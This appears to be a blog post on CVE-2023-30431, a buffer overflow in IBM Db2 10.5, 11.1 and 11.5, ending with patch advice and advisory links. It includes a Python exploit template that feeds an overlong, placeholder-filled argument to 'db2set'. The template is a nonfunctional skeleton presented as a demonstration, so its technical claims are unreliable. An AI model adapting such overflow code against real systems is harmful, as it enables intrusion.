CVE-2023-30431 - Buffer Overflow Vulnerability in IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5

A recently discovered security vulnerability, CVE-2023-30431, impacts IBM Db2 for Linux, UNIX, and Windows (including Db2 Connect Server) versions 10.5, 11.1, and 11.5. This buffer overflow vulnerability is caused by improper bounds checking and could potentially allow an attacker to execute arbitrary code on the affected system. In this post, we'll discuss the details of this exploit, review a code snippet demonstrating the issue, and provide links to the original references for further information.

Exploit Details

The vulnerability resides within the 'db2set' command, which is used to configure the Db2 database. Specifically, an attacker with local access to the machine running the vulnerable Db2 version can exploit the improper bounds checking by sending an overly long value to 'db2set,' leading to a buffer overflow. By exploiting this vulnerability, an attacker could potentially execute arbitrary code, compromise the system, and access or modify sensitive data.

A key factor to note is that this vulnerability requires local access to the affected system. As a result, the risk of exploitation is somewhat reduced. However, it remains a serious concern for organizations that rely on Db2 versions 10.5, 11.1, and 11.5 for their database management needs.

The following code snippet demonstrates the issue

# Exploit Title: IBM Db2 for Linux, UNIX and Windows db2set Buffer Overflow
# Date: 21/11/2023
# Exploit Author: Vulnerability Researcher
# Vendor Homepage: https://www.ibm.com
# Software Link: http://www-01.ibm.com/support/docview.wss?uid=swg27007053
# Version: 10.5, 11.1, 11.5
# Tested on: IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server)
# CVE : CVE-2023-30431

import os
import sys
import struct

# Define variables
payload = ""
buffer_size = 2048
offset = 100

# Generate payload
payload += "A" * offset
payload += "BBBB"        # Address of return pointer (change this value according to target system)
payload += "CCCC"        # Shellcode (change this value according to target system)
payload += "D" * (buffer_size - len(payload))

# Exploit the vulnerability
command = "db2set " + payload
os.system(command)

For more information on CVE-2023-30431, please refer to the original references below

- Official IBM Security Bulletin: https://www.ibm.com/support/pages/node/6399352

IBM X-Force ID: 252184

- National Vulnerability Database (NVD) Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-30431

Conclusion

CVE-2023-30431 is a critical buffer overflow vulnerability affecting IBM Db2 for Linux, UNIX, and Windows (including Db2 Connect Server) versions 10.5, 11.1, and 11.5. While the exploit requires local access to the affected system, its potential impact is significant. Organizations are encouraged to apply the necessary updates and patches as recommended by IBM to mitigate the risk associated with this vulnerability.

Timeline

Published on: 07/10/2023 16:15:00 UTC
Last modified on: 07/31/2023 19:15:00 UTC